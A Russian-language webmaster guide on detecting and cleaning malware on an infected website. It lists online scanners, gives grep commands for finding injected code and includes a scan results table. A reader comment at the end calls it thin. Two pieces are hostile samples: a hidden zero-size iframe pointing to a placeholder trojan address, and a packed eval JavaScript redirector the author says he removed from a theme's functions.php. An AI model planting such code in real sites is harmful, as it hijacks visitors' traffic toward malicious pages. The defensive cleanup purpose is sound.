Сайт с вирусами и троянами встретить в сети очень просто. Чаще всего, вредоносный код атакует компьютеры на порно сайтах, или сайтах сомнительного содержания, которые вообще редко бывают без вирусов.
Что делать, если на сайте вирус?
- Изменить пароли доступа на сайт по FTP. Это стоит сделать прежде каких либо других.
- Проверить свой компьютер на вирусы. Желательно делать это антивирусов отличным от установленного.
- Очистить кэш браузера, и использовать в дальнейшем Мозилла.
- НЕ сохранять пароли в программах.
Ссылки для проверки сайта на вирусы:
http://www.google.com/safebrowsing/diagnostic?site=ВАШ-САЙТ.РУ&hl=ru
http://vms.drweb.com/online/
http://antivirus-alarm.ru/proverka/
http://2ip.ru/site-virus-scaner/
https://www.virustotal.com/
http://burbon.ru/service/virus.php
http://urlvoid.com/
http://xseo.in/viruscan
Как найти вирус на сайте?
Первое, на что следует искать — это HTML код с подключением <iframe>. Подобные фреймы можно сделать незаметными для посетителей сайта, указав специальные параметры. Например, width=»0″ height=»0″ — это сделает их невидимыми на страницах.
Например, код вставки вируса может выглядеть так:
<iframe src="http://АДРЕС_ДО_ТРОЯНА" width="0" height="0" style="hidden" frameborder="0" marginheight="0" marginwidth="0" scrolling="no"></iframe>
find $PWD -name '*.*' -exec grep -li "iframe" {} \; find $PWD -name '*.*' -exec grep -li "unescape" {} \; find $PWD -name '*.*' -exec grep -li "fromCharCode" {} \;
На сайте, который проверял http://antivirus-alarm.ru/proverka/ вывелись такие результаты:
Антивирусная база | Результат |
nProtect | Trojan.JS.Redirector.ZT |
CAT-QuickHeal | вирусов нет |
McAfee | вирусов нет |
TheHacker | вирусов нет |
K7AntiVirus | вирусов нет |
VirusBuster | вирусов нет |
NOD32 | JS/Redirector.NIL |
F-Prot | вирусов нет |
Symantec | вирусов нет |
Norman | вирусов нет |
ByteHero | вирусов нет |
TrendMicro-HouseCall | вирусов нет |
Avast | JS:Redirector-MR [Trj] |
eSafe | вирусов нет |
ClamAV | PUA.Script.Packed-1 |
Kaspersky | Trojan.JS.Redirector.ux |
BitDefender | Trojan.JS.Redirector.ZT |
ViRobot | вирусов нет |
Emsisoft | Trojan.Script!IK |
Comodo | вирусов нет |
F-Secure | Trojan.JS.Redirector.ZT |
DrWeb | вирусов нет |
VIPRE | вирусов нет |
AntiVir | вирусов нет |
TrendMicro | вирусов нет |
McAfee-GW-Edition | вирусов нет |
Sophos | вирусов нет |
eTrust-Vet | вирусов нет |
Jiangmin | вирусов нет |
Antiy-AVL | вирусов нет |
Microsoft | Trojan:JS/Redirector.IT |
SUPERAntiSpyware | вирусов нет |
Prevx | вирусов нет |
GData | Trojan.JS.Redirector.ZT |
Commtouch | вирусов нет |
AhnLab-V3 | HTML/Redirect |
VBA32 | вирусов нет |
PCTools | вирусов нет |
Rising | вирусов нет |
Ikarus | Trojan.Script |
Fortinet | вирусов нет |
AVG | вирусов нет |
Panda | вирусов нет |
в папке темы в файле functions.php удалил следуюший код:
<script language=\»JavaScript\»>eval(function(p,a,c,k,e,r){e=function(c){return(c<a?»:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!».replace(/^/,String)){while(c—)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\\w+’};c=1};while(c—)if(k[c])p=p.replace(new RegExp(‘\\\b’+e(c)+’\\\b’,’g’),k[c]);return p}(‘e r=x.9,t=\»\»,q;4(r.3(\»m.\»)!=-1)t=\»q\»;4(r.3(\»7.\»)!=-1)t=\»q\»;4(r.3(\»8.\»)!=-1)t=\»p\»;4(r.3(\»a.\»)!=-1)t=\»q\»;4(r.3(\»f.\»)!=-1)t=\»g\»;4(r.3(\»j.\»)!=-1)t=\»q\»;4(t.6&&((q=r.3(\»?\»+t+\»=\»))!=-1||(q=r.3(\»&\»+t+\»=\»))!=-1))B.C=\»v\»+\»w\»+\»:/\»+\»/A\»+\»b\»+\»k\»+\»5\»+\»h.\»+\»c\»+\»z/s\»+\»u\»+\»5\»+\»h.p\»+\»d?\»+\»t\»+\»y=1&t\»+\»i\»+\»l=\»+r.n(q+2+t.6).o(\»&\»)[0];’,39,39,’|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location’.split(‘|’),0,{}))</script>
К сожалению тема не раскрыта. Как именно найти вредоносный код, об этом у вас практически ничего не сказано. Доступ по ssh есть далеко не у всех владельцев сайтов. А у кого есть, большинство не знает как работать с этим протоколом.